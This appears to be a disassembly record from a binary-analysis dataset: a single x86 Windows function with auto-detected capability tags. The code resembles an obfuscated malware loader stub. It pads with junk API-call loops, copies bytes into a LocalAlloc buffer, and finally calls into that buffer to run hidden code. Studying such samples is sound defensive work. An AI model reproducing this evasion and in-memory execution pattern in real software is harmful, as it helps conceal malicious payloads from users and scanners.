Function at 0x4018f1
Capabilities:
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10cc
call fcn.00414100
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x40192a
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
cmp edi, 0x207142
jg 0x40193b
inc edi
cmp edi, 0x67d12
jl 0x401905
cmp dword [0x2498864], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x401a04
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
lea eax, [ebp - 0x10c8]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
call dword [sym.imp.GDI32.dll_GetPixelFormat]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.00404bfd
pop ecx
push esi
push esi
call fcn.00404c2c
push esi
call fcn.00404ae3
add esp, 0xc
lea eax, [ebp - 0xc8]
push eax
call fcn.0040265d
lea ecx, [ebp - 0x68]
call fcn.004026f9
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], vtable.std::ios_base.0
call fcn.00403654
pop ecx
add dword [0x2498864], 0x1134b
push dword [0x2498864]
mov eax, dword [0x4831bc]
push esi
mov dword [0x24996a0], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x24982f0], eax
call fcn.00401877
mov edi, 0x1692e
push esi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x401a34
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x2498864], esi
jbe 0x401aa7
mov eax, dword [0x24996a0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x24982f0]
mov byte [ecx + edi], al
cmp dword [0x2498864], 0x490
jne 0x401a9e
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call ebx
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x2498864]
jb 0x401a4f
xor edi, edi
mov eax, dword [0x2498864]
add eax, edi
cmp eax, 0x8d
jne 0x401aea
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push str.pixaminibadagutiberesozi
push str.gubuf
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x401aa9
call fcn.0040177d
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x401b18
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x24982f0], eax
inc edi
cmp edi, 0x674bd
jl 0x401afa
push 0x7b
pop edi
cmp dword [0x2498864], 0x86
jne 0x401b78
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0xcc8]
push eax
push str.cexeve
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x2498864], 0xf
jne 0x401b8c
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec edi
jne 0x401b24
push str.msimg32.dll
call ebx
call dword [0x24982f0]
pop edi
pop esi
pop ebx
leave
ret